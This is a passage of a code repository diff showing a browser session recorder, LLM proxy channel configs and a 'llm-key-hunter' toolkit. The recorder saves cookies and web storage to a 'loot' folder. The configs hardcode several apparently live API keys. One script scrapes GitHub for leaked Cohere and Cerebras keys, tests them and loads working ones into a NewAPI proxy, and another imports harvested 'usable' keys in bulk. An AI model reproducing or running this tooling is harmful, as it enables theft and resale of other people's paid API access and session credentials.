body: base64Encoded ? `[base64 ${body.length} chars]` : body.substring(0, 50000),
base64Encoded,
});
}
} catch (e) { /* body not available */ }
});
}
}
// ── Console Events ──
if (args.console) {
Runtime.consoleAPICalled((params) => {
const args = params.args.map(a => a.value ?? a.description ?? a.unserializableValue ?? '');
writeLine('console', {
type: params.type,
args: args,
stackTrace: params.stackTrace?.callFrames?.[0]?.functionName,
timestamp: params.timestamp,
url: target.url,
});
stats.console++;
});
Runtime.exceptionThrown((params) => {
writeLine('console', {
type: 'exception',
text: params.exceptionDetails.text,
exception: params.exceptionDetails.exception?.description?.substring(0, 2000),
url: params.exceptionDetails.url,
lineNumber: params.exceptionDetails.lineNumber,
timestamp: Date.now() / 1000,
});
});
}
// ── Interaction Events (via binding) ──
if (args.interactions) {
Runtime.bindingCalled((params) => {
if (params.name === '__capture') {
try {
const data = JSON.parse(params.payload);
writeLine('interactions', data);
stats.interactions++;
} catch (e) { /* malformed */ }
}
});
}
// ── Navigation Events ──
Page.frameNavigated(async (params) => {
if (params.frame.parentId) return; // only top-level
const url = params.frame.url;
writeLine('navigations', {
url: url,
name: params.frame.name,
timestamp: Date.now() / 1000,
});
stats.navigations++;
console.log(`${label} Navigation → ${url.substring(0, 100)}`);
// Re-inject interaction listeners after navigation
if (args.interactions) {
try {
await Runtime.evaluate({ expression: injectScript, returnByValue: false });
} catch (e) { /* page not ready */ }
}
// Screenshot on navigation
if (args.screenshot) {
try {
await takeScreenshot(client, index, url);
} catch (e) { /* timing */ }
}
// DOM snapshot on navigation
if (args.dom) {
try {
await saveDOMSnapshot(client, index, url);
} catch (e) { /* timing */ }
}
});
// ── Inject listeners on load ──
Page.loadEventFired(async () => {
if (args.interactions) {
try {
await Runtime.evaluate({ expression: injectScript, returnByValue: false });
console.log(`${label} Interaction listeners injected.`);
} catch (e) { /* page not ready */ }
}
});
// Initial injection (in case page is already loaded)
if (args.interactions) {
try {
await Runtime.evaluate({ expression: injectScript, returnByValue: false });
} catch (e) { /* page not ready */ }
}
console.log(`${label} Capturing. (network=${args.network}, console=${args.console}, interactions=${args.interactions})`);
return client;
}
// ─── Screenshot ──────────────────────────────────────────────
async function takeScreenshot(client, tabIndex, url) {
const { Page } = client;
const { data } = await Page.captureScreenshot({ format: 'png' });
const fname = `tab${tabIndex}_${Date.now()}.png`;
fs.writeFileSync(path.join(dirs.screenshots, fname), Buffer.from(data, 'base64'));
writeLine('screenshots', { file: fname, url, timestamp: Date.now() / 1000 });
stats.screenshots++;
console.log(` 📸 Screenshot: ${fname}`);
}
// ─── DOM Snapshot ────────────────────────────────────────────
async function saveDOMSnapshot(client, tabIndex, url) {
const { DOM, Page } = client;
const { root } = await DOM.getDocument({ depth: -1 });
const html = await DOM.getOuterHTML({ nodeId: root.nodeId });
const fname = `tab${tabIndex}_${Date.now()}.html`;
fs.writeFileSync(path.join(dirs.scans, fname), html.outerHTML || String(html));
stats.domSnapshots++;
console.log(` 📄 DOM snapshot: ${fname}`);
}
// ─── Cookie & Storage Extraction ─────────────────────────────
async function extractCookies(clients) {
console.log('\nExtracting cookies & storage...');
for (let i = 0; i < clients.length; i++) {
const client = clients[i];
if (!client) continue;
try {
const { Network, Runtime, Storage } = client;
// Cookies via Network domain
const { cookies } = await Network.getCookies({});
fs.writeFileSync(
path.join(dirs.loot, `cookies_tab${i}.json`),
JSON.stringify(cookies, null, 2)
);
// localStorage
const lsResult = await Runtime.evaluate({
expression: `JSON.stringify(Object.fromEntries(Object.entries(localStorage)))`,
returnByValue: true,
});
if (lsResult.result?.value) {
fs.writeFileSync(
path.join(dirs.loot, `localStorage_tab${i}.json`),
lsResult.result.value
);
}
// sessionStorage
const ssResult = await Runtime.evaluate({
expression: `JSON.stringify(Object.fromEntries(Object.entries(sessionStorage)))`,
returnByValue: true,
});
if (ssResult.result?.value) {
fs.writeFileSync(
path.join(dirs.loot, `sessionStorage_tab${i}.json`),
ssResult.result.value
);
}
console.log(` Tab ${i}: ${cookies.length} cookies, localStorage + sessionStorage saved`);
} catch (e) {
console.log(` Tab ${i}: extraction failed (${e.message})`);
}
}
}
// ─── Main ────────────────────────────────────────────────────
async function main() {
console.log('╔══════════════════════════════════════════════════╗');
console.log('║ CDP Capture — Session Recorder ║');
console.log('╚══════════════════════════════════════════════════╝');
console.log(`\nSession: ${sessionName}`);
console.log(`Output: ${projectRoot}`);
console.log(`CDP: ${args.host}:${args.port}`);
// Get browser targets
let targets;
try {
targets = await CDP.List({ host: args.host, port: args.port });
} catch (e) {
console.error(`\n❌ Cannot connect to CDP at ${args.host}:${args.port}`);
console.error(` Make sure Chrome is running with --remote-debugging-port=${args.port}`);
console.error(` Use: tools/scripts/launch-chrome.ps1`);
process.exit(1);
}
const pageTargets = targets.filter(t => t.type === 'page');
if (pageTargets.length === 0) {
console.error('\n❌ No browser tabs found. Open a tab in Chrome first.');
process.exit(1);
}
console.log(`\nFound ${pageTargets.length} tab(s):`);
pageTargets.forEach((t, i) => {
console.log(` [${i}] ${t.url?.substring(0, 100)}`);
});
// Select tabs to attach
let tabsToAttach;
if (args.tab === -1) {
tabsToAttach = pageTargets.map((t, i) => ({ target: t, index: i }));
} else if (args.tab >= 0 && args.tab < pageTargets.length) {
tabsToAttach = [{ target: pageTargets[args.tab], index: args.tab }];
} else {
console.error(`\n❌ Invalid tab index: ${args.tab}`);
process.exit(1);
}
// Attach to targets
const clients = [];
for (const { target, index } of tabsToAttach) {
try {
const client = await attachToTarget(target, index);
clients.push(client);
} catch (e) {
console.error(`Tab ${index}: attach failed — ${e.message}`);
clients.push(null);
}
}
console.log(`\n✅ Capturing ${clients.filter(Boolean).length} tab(s). Press Ctrl+C to stop.\n`);
// ── Graceful Shutdown ──
let shuttingDown = false;
process.on('SIGINT', async () => {
if (shuttingDown) return;
shuttingDown = true;
console.log('\n\nShutting down...');
// Extract cookies & storage
await extractCookies(clients);
// Write summary
const summary = {
session: sessionName,
startedAt: now.toISOString(),
endedAt: new Date().toISOString(),
args: args,
stats: stats,
outputDirs: dirs,
};
fs.writeFileSync(path.join(dirs.logs, 'summary.json'), JSON.stringify(summary, null, 2));
console.log(`\n📊 Session Summary:`);
console.log(` Network requests: ${stats.requests}`);
console.log(` Network responses: ${stats.responses}`);
console.log(` Console messages: ${stats.console}`);
console.log(` Interactions: ${stats.interactions}`);
console.log(` Navigations: ${stats.navigations}`);
console.log(` Screenshots: ${stats.screenshots}`);
console.log(` DOM snapshots: ${stats.domSnapshots}`);
console.log(`\n📁 Output: ${dirs.logs}`);
// Close writers
for (const w of Object.values(writers)) w.end();
// Close clients
for (const c of clients) { if (c) try { await c.close(); } catch (e) {} }
process.exit(0);
});
}
main().catch(e => {
console.error('Fatal error:', e);
process.exit(1);
});
+55
View File
@@ -0,0 +1,55 @@
{
"name": "cdp-capture",
"version": "1.0.0",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "cdp-capture",
"version": "1.0.0",
"dependencies": {
"chrome-remote-interface": "^0.33.3"
}
},
"node_modules/chrome-remote-interface": {
"version": "0.33.3",
"resolved": "https://npm.qxy1828.com/chrome-remote-interface/-/chrome-remote-interface-0.33.3.tgz",
"integrity": "sha512-zNnn0prUL86Teru6UCAZ1yU1XeXljHl3gj7OrfPcarEfU62OUU4IujDPdTDW3dAWwRqN3ZMG/Chhkh2gPL/wiw==",
"license": "MIT",
"dependencies": {
"commander": "2.11.x",
"ws": "^7.2.0"
},
"bin": {
"chrome-remote-interface": "bin/client.js"
}
},
"node_modules/commander": {
"version": "2.11.0",
"resolved": "https://npm.qxy1828.com/commander/-/commander-2.11.0.tgz",
"integrity": "sha512-b0553uYA5YAEGgyYIGYROzKQ7X5RAqedkfjiZxwi0kL1g3bOaBNNZfYkzt/CL0umgD5wc9Jec2FbB98CjkMRvQ==",
"license": "MIT"
},
"node_modules/ws": {
"version": "7.5.13",
"resolved": "https://npm.qxy1828.com/ws/-/ws-7.5.13.tgz",
"integrity": "sha512-rsKI6xDBFVf4r/x8XyChGK04QR/XHroxs/jUcoWvtEZM8TPU/X/uIY9B1CsSzYws9ZJb/6bbBu7dPhFW00CAoA==",
"license": "MIT",
"engines": {
"node": ">=8.3.0"
},
"peerDependencies": {
"bufferutil": "^4.0.1",
"utf-8-validate": "^5.0.2"
},
"peerDependenciesMeta": {
"bufferutil": {
"optional": true
},
"utf-8-validate": {
"optional": true
}
}
}
}
}
+13
View File
@@ -0,0 +1,13 @@
{
"name": "cdp-capture",
"version": "1.0.0",
"description": "Chrome DevTools Protocol capture tool — records all browser activity from a real Chrome session",
"main": "capture.js",
"scripts": {
"start": "node capture.js",
"capture": "node capture.js"
},
"dependencies": {
"chrome-remote-interface": "^0.33.3"
}
}
+202
View File
@@ -0,0 +1,202 @@
#!/usr/bin/env python3
"""Centralized channel definitions for NewAPI.
All channel configs live here so that add/recreate/fix scripts share
a single source of truth. Keys are read from environment variables
when available, falling back to the known hardcoded values.
"""
import os
from pathlib import Path
from newapi_client import (
TYPE_OPENAI, TYPE_CUSTOM, TYPE_ANTHROPIC,
TYPE_ZHIPU_V4, TYPE_MINIMAX, TYPE_OLLAMA, TYPE_VOLC_ENGINE,
)
# ── Paths ────────────────────────────────────────────────────────
_SCRIPTS_DIR = Path(__file__).parent
_ZHIPUAI_KEYS_FILE = _SCRIPTS_DIR / "llm-key-hunter" / "results" / "live" / "china" / "zhipuai" / "keys.txt"
def _env_or(default_key, env_var):
"""Read from env, fall back to hardcoded default."""
return os.environ.get(env_var, default_key)
# ── VolcanoArk model lists ───────────────────────────────────────
_VOLC_MODELS_FULL = (
"doubao-seed-2-0-pro-260215,doubao-seed-2-0-lite-260215,"
"doubao-seed-2-0-mini-260215,doubao-seed-2-1-pro-260628,"
"doubao-seed-2-1-turbo-260628,doubao-seed-1-6-250615,"
"doubao-seed-1-6-251015,doubao-seed-1-6-flash-250615,"
"doubao-seed-1-6-flash-250828,deepseek-v4-flash-260425,"
"deepseek-v4-pro-260425,glm-5-2-260617"
)
_VOLC_MODELS_MID = (
"doubao-seed-2-0-pro-260215,doubao-seed-2-0-lite-260215,"
"doubao-seed-2-1-pro-260628,doubao-seed-1-6-250615,"
"doubao-seed-1-6-251015,doubao-seed-1-6-flash-250615,"
"doubao-seed-1-6-flash-250828,deepseek-v4-flash-260425,"
"deepseek-v4-pro-260425"
)
_VOLC_MODELS_MIN = "doubao-seed-2-0-pro-260215"
# ── VolcanoArk keys ──────────────────────────────────────────────
VOLC_ARK_KEYS = [
("209bcbe8-3cdf-4397-b13c-2323e481af82", _VOLC_MODELS_FULL),
("5cf8e2f7-8465-4ccc-bf84-e32f05be0fb4", _VOLC_MODELS_FULL),
("6ef45f7f-1d82-4d34-80c0-c70180bd59fc", _VOLC_MODELS_MID),
("60186d5d-95bf-4265-beaa-4c3842e10802", _VOLC_MODELS_MIN),
]
# ── Base URLs ────────────────────────────────────────────────────
URL_ZHIPUAI = "https://open.bigmodel.cn/api/paas/v4"
URL_ZHIPUAI_FULL = f"{URL_ZHIPUAI}/chat/completions"
URL_VOLC_ARK = "https://ark.cn-beijing.volces.com/api/v3"
URL_VOLC_ARK_FULL = f"{URL_VOLC_ARK}/chat/completions"
URL_VOLC_ARK_CODING = "https://ark.cn-beijing.volces.com/api/coding"
URL_MINIMAX = "https://api.minimaxi.com/v1"
URL_MINIMAX_FULL = f"{URL_MINIMAX}/chat/completions"
URL_BAIDU = "https://qianfan.baidubce.com/v2/coding"
URL_STEPFUN = "https://api.stepfun.com/step_plan"
URL_OLLAMA = "https://api.ollama.com"
URL_XKIRO = "https://api.xkiro.com/v1"
# ── Channel builders ─────────────────────────────────────────────
def _load_zhipuai_keys():
"""Load ZhipuAI keys from the live keys file."""
with open(_ZHIPUAI_KEYS_FILE) as f:
return [line.strip() for line in f if line.strip()]
def build_zhipuai(channel_type=TYPE_OPENAI, full_url=False):
"""Build the ZhipuAI channel config (multi-key pool)."""
keys = _load_zhipuai_keys()
base = URL_ZHIPUAI_FULL if full_url else URL_ZHIPUAI
return {
"type": channel_type,
"name": "ZhipuAI-Pool",
"key": "\n".join(keys),
"base_url": base,
"models": "glm-4v-flash,glm-4-flash,glm-4,glm-4-plus,glm-4-long,glm-4.5,glm-4.6,glm-4.7",
"group": "default",
}, len(keys)
def build_volcano_ark(channel_type=TYPE_OPENAI, full_url=False):
"""Build VolcanoArk channel configs (one per key)."""
base = URL_VOLC_ARK_FULL if full_url else URL_VOLC_ARK
channels = []
for i, (key, models) in enumerate(VOLC_ARK_KEYS, 1):
channels.append({
"type": channel_type,
"name": f"VolcanoArk-K{i}",
"key": key,
"base_url": base,
"models": models,
"group": "default",
})
return channels
def build_volcano_ark_coding():
"""Build the VolcanoArk CodingPlan channel (Anthropic-compatible)."""
return {
"type": TYPE_ANTHROPIC,
"name": "VolcanoArk-CodingPlan",
"key": VOLC_ARK_KEYS[0][0],
"base_url": URL_VOLC_ARK_CODING,
"models": "claude-sonnet-4-6,claude-opus-4-6,claude-haiku-3-5,claude-3-5-haiku-20241022,claude-3-haiku-20240307,claude-sonnet-4-20250514,claude-opus-4-20250514,claude-3-7-sonnet-20250219,doubao-seed-2-0-pro-260215",
"group": "default",
}
def build_minimax(channel_type=TYPE_OPENAI, full_url=False):
"""Build the MiniMax channel config."""
base = URL_MINIMAX_FULL if full_url else URL_MINIMAX
return {
"type": channel_type,
"name": "MiniMax",
"key": _env_or(
"sk-cp-WCVxiI5uFbxuIydEUdgZ9ejiC89_csqs0uE9QJUct4k148OhpwYYtu1QdeTDH7shuOyn4kD831hXibst3CmswaZYLhBZE4UOT5qLslMn8R5IYooGzdTajkA",
"MINIMAX_KEY",
),
"base_url": base,
"models": "MiniMax-M2.5",
"group": "default",
}
def build_baidu_qianfan():
"""Build the Baidu Qianfan Coding Plan channel."""
return {
"type": TYPE_OPENAI,
"name": "BaiduQianfan-Coding",
"key": _env_or(
"bce-v3/ALTAKSP-XiBlXOXnSzzyMFAB5UaJg/935c59dfdc8ce7142c02fe6fea4a3017a0f311a6",
"BAIDU_QIANFAN_KEY",
),
"base_url": URL_BAIDU,
"models": "qianfan-code-latest,deepseek-v4-flash,deepseek-v4-pro,deepseek-v3.2,glm-5.1,glm-5",
"group": "default",
}
def build_stepfun():
"""Build the StepFun channel (Anthropic-compatible)."""
return {
"type": TYPE_ANTHROPIC,
"name": "StepFun",
"key": _env_or(
"2abjHPkM2rgD6d8EzWBMPNzwAtALMtgvqUB9jYTPqgr5ouZzxdPOmgTYlTPuDs2xa",
"STEPFUN_KEY",
),
"base_url": URL_STEPFUN,
"models": "step-3.7-flash,step-router-v1,step-3.5-flash-2603",
"group": "default",
}
def build_ollama_cloud():
"""Build the Ollama Cloud channel."""
return {
"type": TYPE_OLLAMA,
"name": "OllamaCloud",
"key": _env_or(
"a3f899539f3c4effad78e220462be7a6.fVn8luLNb206KKkpYgAs9JRR",
"OLLAMA_KEY",
),
"base_url": URL_OLLAMA,
"models": "gemma4:31b,gpt-oss:20b,gpt-oss:120b,nemotron-3-nano:30b",
"group": "default",
}
def build_xkiro(key=None):
"""Build the xKiro channel (OpenAI-compatible aggregator).
Models use provider/model format (like OpenRouter):
anthropic/claude-sonnet-4-5, anthropic/claude-opus-4-5, openai/gpt-4o, etc.
"""
return {
"type": TYPE_OPENAI,
"name": "XKiro",
"key": key or _env_or("", "XKIRO_KEY"),
"base_url": URL_XKIRO,
"models": "anthropic/claude-sonnet-4-5,anthropic/claude-opus-4-5,openai/gpt-4o,openai/gpt-4o-mini",
"group": "default",
}
# ── Fix table (for fix_channels.py) ──────────────────────────────
FIX_TABLE = [
# (id, name, new_type, base_url)
(6, "ZhipuAI-Pool", TYPE_OPENAI, URL_ZHIPUAI),
(7, "VolcanoArk-K1", TYPE_OPENAI, URL_VOLC_ARK),
(8, "VolcanoArk-K2", TYPE_OPENAI, URL_VOLC_ARK),
(9, "VolcanoArk-K3", TYPE_OPENAI, URL_VOLC_ARK),
(10, "VolcanoArk-K4", TYPE_OPENAI, URL_VOLC_ARK),
(12, "MiniMax", TYPE_OPENAI, URL_MINIMAX),
]
+26
View File
@@ -0,0 +1,26 @@
#!/usr/bin/env python3
"""Fix NewAPI channel types and remove expired channels."""
from newapi_client import update_channel, delete_channel, test_channel
from channels_config import FIX_TABLE
# ─── Fix channel types to OpenAI (type 1) ────────────────────────
print("=== Fixing channel types to OpenAI (type 1) ===\n")
for cid, name, new_type, base_url in FIX_TABLE:
success, msg = update_channel(cid, type=new_type, base_url=base_url)
print(f" ID={cid:2d} {name:30s} -> type={new_type} base_url={base_url} "
f"{'✅' if success else '❌'} {msg}")
# ─── Delete expired Baidu Qianfan ────────────────────────────────
print("\n=== Deleting expired Baidu Qianfan ===")
success, msg = delete_channel(13)
print(f" ID=13 BaiduQianfan-Coding {'✅' if success else '❌'} {msg}")
# ─── Re-test all fixed channels ──────────────────────────────────
print("\n=== Testing fixed channels ===\n")
test_ids = [6, 7, 8, 9, 10, 11, 12] # 11=VolcanoArk-CodingPlan (already working)
for cid in test_ids:
print(f" ID={cid:2d}...", end=" ", flush=True)
success, msg, _ = test_channel(cid)
print(f"{'✅' if success else '❌'} {msg[:80]}")
+252
View File
@@ -0,0 +1,252 @@
#!/usr/bin/env python3
"""Hunt for leaked Cohere and Cerebras API keys on GitHub — curl version."""
import json
import os
import re
import sys
import time
import subprocess
import urllib.request
import urllib.error
from concurrent.futures import ThreadPoolExecutor, as_completed
_UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
# Get GitHub token
GH_TOKEN = subprocess.run(["gh", "auth", "token"], capture_output=True, text=True).stdout.strip()
QUERIES = {
"Cohere": [
'COHERE_API_KEY extension:env',
'COHERE_API_KEY extension:py',
'COHERE_API_KEY extension:js',
'COHERE_API_KEY extension:json',
'COHERE_API_KEY extension:yaml',
'COHERE_API_KEY extension:ipynb',
'CO_API_KEY extension:env',
'CO_API_KEY extension:py',
'api.cohere.com extension:env',
'api.cohere.com extension:py',
'api.cohere.com extension:js',
'cohere_client extension:py',
'cohere.Client extension:py',
'cohere.chat extension:py',
'cohere.generate extension:py',
],
"Cerebras": [
'csk- extension:env',
'csk- extension:py',
'csk- extension:js',
'csk- extension:json',
'csk- extension:yaml',
'csk- extension:ipynb',
'CEREBRAS_API_KEY extension:env',
'CEREBRAS_API_KEY extension:py',
'CEREBRAS_API_KEY extension:js',
'CEREBRAS_API_KEY extension:json',
'CEREBRAS_API_KEY extension:yaml',
'CEREBRAS_API_KEY extension:ipynb',
'CEREBRAS_KEY extension:env',
'CEREBRAS_KEY extension:py',
'api.cerebras.ai extension:env',
'api.cerebras.ai extension:py',
'api.cerebras.ai extension:js',
'from cerebras extension:py',
'import cerebras extension:py',
'cerebras.cloud extension:py',
],
}
PATTERNS = {
"Cohere": re.compile(r'[a-zA-Z0-9]{40}'),
"Cerebras": re.compile(r'csk-[a-zA-Z0-9]{40}'),
}
EXISTING = {
"Cohere": {
"ct5c9Usx0I3zvy8WlAXrHWPvXyBlIL06J7rNkSy5",
"WnFNt5UQK39iRBhjWNUdBTJZlhLM0HR3ifc0ESQa",
"MxABl5slwJzoiiHOGbO4fAVUw0Kte455V1T7jOYs",
"o6DdGd0awe4vhcOEBS4r3RJOt0PdNB4iC60lIE40",
"N2KVYbjgSfNVKZw2HSwVJCRuRqEVkpFEqCrozr22",
"fjdejHaAyGLwkWmg9OzQUsi3nQi7BQeZERcHtYcz",
},
"Cerebras": {
"csk-dpvv4653fh4rk2k9y2p2nyhjvy8jw6wyp66xcrykvj33nkj4",
"csk-j99xk9m6kr5x5nfmkwdrm3jmctwh6eh3pvcm9ymmy293emhp",
"csk-kppj54cwjmefpw8mj9x9w3ey9yx9yvh64jw3ek9m5prm9d3v",
},
}
def gh_search(query, per_page=50):
"""Search GitHub code via curl."""
import urllib.parse
encoded = urllib.parse.quote(query)
url = f"https://api.github.com/search/code?q={encoded}&per_page={per_page}"
try:
req = urllib.request.Request(url)
req.add_header("Authorization", f"token {GH_TOKEN}")
req.add_header("Accept", "application/vnd.github.v3+json")
req.add_header("User-Agent", _UA)
with urllib.request.urlopen(req, timeout=15) as resp:
data = json.loads(resp.read())
return [item["html_url"] for item in data.get("items", [])]
except Exception:
return []
def fetch_raw(url):
"""Fetch raw file content from GitHub."""
raw_url = url.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
try:
req = urllib.request.Request(raw_url)
req.add_header("User-Agent", _UA)
with urllib.request.urlopen(req, timeout=10) as resp:
return resp.read().decode("utf-8", errors="ignore")
except Exception:
return ""
def verify_key(provider, key, timeout=15):
"""Verify a key."""
if provider == "Cohere":
url = "https://api.cohere.com/compatibility/v1/chat/completions"
model = "command-r-plus-08-2024"
else:
url = "https://api.cerebras.ai/v1/chat/completions"
model = "zai-glm-4.7"
payload = json.dumps({
"model": model,
"messages": [{"role": "user", "content": "hi"}],
"max_tokens": 5,
}).encode()
req = urllib.request.Request(url, data=payload, method="POST")
req.add_header("Authorization", f"Bearer {key}")
req.add_header("Content-Type", "application/json")
req.add_header("User-Agent", _UA)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
return True, "OK"
except urllib.error.HTTPError as e:
raw = e.read()
try:
err = json.loads(raw)
msg = err.get("message", "") or err.get("error", {}).get("message", "")
except Exception:
msg = f"HTTP {e.code}"
return False, msg[:80]
except Exception as e:
return False, str(e)[:80]
def hunt(provider):
print(f"\n{'='*60}")
print(f" {provider}")
print(f"{'='*60}")
queries = QUERIES[provider]
pattern = PATTERNS[provider]
existing = EXISTING[provider]
# Phase 1: Search
print(f"\n [1/3] Searching ({len(queries)} queries)...")
urls = set()
for i, q in enumerate(queries):
results = gh_search(q)
new = len(set(results) - urls)
urls.update(results)
print(f" [{i+1}/{len(queries)}] {q[:45]:47s} → {len(results):3d} files (+{new})")
time.sleep(1.5)
print(f"\n Total: {len(urls)} unique files")
# Phase 2: Extract (concurrent fetching)
print(f"\n [2/3] Fetching & extracting ({len(urls)} files, concurrent)...")
all_keys = set()
with ThreadPoolExecutor(max_workers=20) as pool:
futures = {pool.submit(fetch_raw, url): url for url in urls}
done = 0
for future in as_completed(futures):
done += 1
content = future.result()
if not content:
continue
for m in pattern.finditer(content):
k = m.group()
if k not in existing:
if provider == "Cohere" and re.match(r'^[0-9a-f]{40}$', k):
continue
all_keys.add(k)
if done % 50 == 0:
print(f" Fetched {done}/{len(urls)} files, {len(all_keys)} keys so far")
print(f" Extracted: {len(all_keys)} unique candidate keys")
# Phase 3: Verify
print(f"\n [3/3] Verifying {len(all_keys)} keys...")
good = []
with ThreadPoolExecutor(max_workers=12) as pool:
futures = {pool.submit(verify_key, provider, k): k for k in all_keys}
for future in as_completed(futures):
key = futures[future]
ok, msg = future.result()
if ok:
good.append(key)
print(f" ✅ {key[:40]}... WORKING!")
print(f"\n ✅ {provider}: {len(good)} new working keys")
return good
def main():
cohere_good = hunt("Cohere")
cerebras_good = hunt("Cerebras")
print(f"\n{'='*60}")
print(" RESULTS")
print(f"{'='*60}")
print(f"\n Cohere: {len(cohere_good)} new keys")
for k in cohere_good:
print(f" {k}")
print(f"\n Cerebras: {len(cerebras_good)} new keys")
for k in cerebras_good:
print(f" {k}")
if cohere_good or cerebras_good:
print(f"\n{'='*60}")
print(" Adding to NewAPI")
print(f"{'='*60}")
sys.path.insert(0, os.path.dirname(__file__))
from newapi_client import add_channel, TYPE_OPENAI
if cohere_good:
ch = {
"type": TYPE_OPENAI,
"name": "Cohere-Hunted",
"key": "\n".join(cohere_good),
"base_url": "https://api.cohere.com/compatibility/v1",
"models": "command-r-plus-08-2024,command-r-08-2024,command-a-03-2025,command-a,c4ai-aya-expanse-32b",
"group": "default",
}
s, m = add_channel(ch, mode="multi_to_single")
print(f" Cohere-Hunted ({len(cohere_good)} keys) {'✅' if s else '❌'} {m}")
if cerebras_good:
ch = {
"type": TYPE_OPENAI,
"name": "Cerebras-Hunted",
"key": "\n".join(cerebras_good),
"base_url": "https://api.cerebras.ai/v1",
"models": "zai-glm-4.7,gemma-4-31b,gpt-oss-120b",
"group": "default",
}
s, m = add_channel(ch, mode="multi_to_single")
print(f" Cerebras-Hunted ({len(cerebras_good)} keys) {'✅' if s else '❌'} {m}")
else:
print("\n No new working keys found.")
if __name__ == "__main__":
main()
+184
View File
@@ -0,0 +1,184 @@
#!/usr/bin/env python3
"""Import all usable keys into NewAPI - one channel per key.
Channel name format: <Provider>_<last4ofkey>
No merging/pooling - each key gets its own channel.
"""
import sys
import os
import time
from pathlib import Path
from concurrent.futures import ThreadPoolExecutor, as_completed
# Add scripts dir to path for imports
SCRIPTS_DIR = Path(__file__).resolve().parent.parent
sys.path.insert(0, str(SCRIPTS_DIR))
from newapi_client import (
add_channel, list_channel_names,
TYPE_OPENAI, TYPE_ANTHROPIC,
)
# ── Provider configs ────────────────────────────────────────────
PROVIDER_CONFIGS = {
"ZhipuAI": {
"type": TYPE_OPENAI,
"base_url": "https://open.bigmodel.cn/api/paas/v4",
"models": "glm-4v-flash,glm-4-flash,glm-4,glm-4-plus,glm-4-long,glm-4.5,glm-4.6,glm-4.7",
},
"VolcanoArk": {
"type": TYPE_OPENAI,
"base_url": "https://ark.cn-beijing.volces.com/api/v3",
"models": (
"doubao-seed-2-0-pro-260215,doubao-seed-2-0-lite-260215,"
"doubao-seed-2-0-mini-260215,doubao-seed-2-1-pro-260628,"
"doubao-seed-2-1-turbo-260628,doubao-seed-1-6-250615,"
"doubao-seed-1-6-251015,doubao-seed-1-6-flash-250615,"
"doubao-seed-1-6-flash-250828,deepseek-v4-flash-260425,"
"deepseek-v4-pro-260425,glm-5-2-260617"
),
},
"MiniMax": {
"type": TYPE_OPENAI,
"base_url": "https://api.minimaxi.com/v1",
"models": "MiniMax-M2.5,MiniMax-M3,MiniMax-M2.7",
},
"DashScope": {
"type": TYPE_OPENAI,
"base_url": "https://dashscope.aliyuncs.com/compatible-mode/v1",
"models": "qwen-plus,qwen-turbo,qwen-max,qwen3.7max",
},
"LongCat": {
"type": TYPE_OPENAI,
"base_url": "https://api.longcat.chat/openai",
"models": "LongCat-2.0",
},
"SiliconFlow": {
"type": TYPE_OPENAI,
"base_url": "https://api.siliconflow.cn/v1",
"models": "Qwen/Qwen2.5-7B-Instruct,deepseek-ai/DeepSeek-V3",
},
"DeepSeek": {
"type": TYPE_OPENAI,
"base_url": "https://api.deepseek.com/v1",
"models": "deepseek-chat,deepseek-reasoner",
},
}
USABLE_FILE = Path(__file__).parent / "llm-key-hunter" / "results" / "deep_verify" / "usable.txt"
def load_usable_keys():
"""Load usable keys from file. Returns list of (provider, key, url, desc)."""
keys = []
with open(USABLE_FILE) as f:
for line in f:
line = line.strip()
if not line:
continue
parts = line.split("|")
if len(parts) >= 2:
provider = parts[0]
key = parts[1]
url = parts[2] if len(parts) > 2 else ""
desc = parts[3] if len(parts) > 3 else ""
keys.append((provider, key, url, desc))
return keys
def build_channel(provider, key):
"""Build a channel dict for a single key."""
cfg = PROVIDER_CONFIGS.get(provider)
if not cfg:
return None
last4 = key[-4:]
name = f"{provider}_{last4}"
return {
"type": cfg["type"],
"name": name,
"key": key,
"base_url": cfg["base_url"],
"models": cfg["models"],
"group": "default",
}
def import_single_channel(provider, key):
"""Import a single key as a channel. Returns (name, success, message)."""
channel = build_channel(provider, key)
if not channel:
return (channel["name"] if channel else "?", False, f"Unknown provider: {provider}")
name = channel["name"]
try:
success, message = add_channel(channel, mode="single")
return (name, success, message)
except Exception as e:
return (name, False, str(e))
def main():
keys = load_usable_keys()
print(f"Loaded {len(keys)} usable keys")
# Check existing channel names for dedup
try:
existing = list_channel_names()
print(f"Existing channels: {len(existing)}")
except Exception as e:
print(f"Warning: Could not list existing channels: {e}")
existing = set()
# Filter out providers we don't have configs for
to_import = []
skipped = []
for provider, key, url, desc in keys:
cfg = PROVIDER_CONFIGS.get(provider)
if not cfg:
skipped.append((provider, key))
continue
last4 = key[-4:]
name = f"{provider}_{last4}"
if name in existing:
skipped.append((provider, key))
continue
to_import.append((provider, key))
if skipped:
print(f"Skipping {len(skipped)} keys (unknown provider or duplicate name)")
print(f"To import: {len(to_import)} channels")
# Import with concurrency (but not too high - NewAPI might rate limit)
success_count = 0
fail_count = 0
start = time.time()
with ThreadPoolExecutor(max_workers=8) as pool:
futures = {
pool.submit(import_single_channel, provider, key): (provider, key)
for provider, key in to_import
}
for i, future in enumerate(as_completed(futures), 1):
provider, key = futures[future]
name, success, message = future.result()
if success:
success_count += 1
print(f" [{i}/{len(to_import)}] ✓ {name}")
else:
fail_count += 1
print(f" [{i}/{len(to_import)}] ✗ {name}: {message}")
elapsed = time.time() - start
print(f"\n=== Import complete ({elapsed:.1f}s) ===")
print(f" Success: {success_count}")
print(f" Failed: {fail_count}")
print(f" Skipped: {len(skipped)}")
if __name__ == "__main__":
main()
+129
View File
@@ -0,0 +1,129 @@
<#
.SYNOPSIS
Launch Chrome with remote debugging enabled for CDP capture.
.DESCRIPTION
Starts Chrome with --remote-debugging-port so the CDP capture tool can
connect and observe all browser activity.
.PARAMETER Port
Remote debugging port (default: 9222)
.PARAMETER UseRealProfile
Use your real Chrome profile (with logins, cookies, etc.)
WARNING: Chrome must be fully closed first.
.PARAMETER ProfileDir
Custom profile directory path. Defaults to a separate profile if not specified.
.PARAMETER Url
Starting URL (default: about:blank)
.EXAMPLE
.\launch-chrome.ps1
Launches Chrome with a fresh profile on port 9222
.EXAMPLE
.\launch-chrome.ps1 -UseRealProfile
Launches Chrome with your real profile (closes existing Chrome first)
.EXAMPLE
.\launch-chrome.ps1 -Port 9223 -Url "https://example.com"
Custom port and starting URL
#>
param(
[int]$Port = 9222,
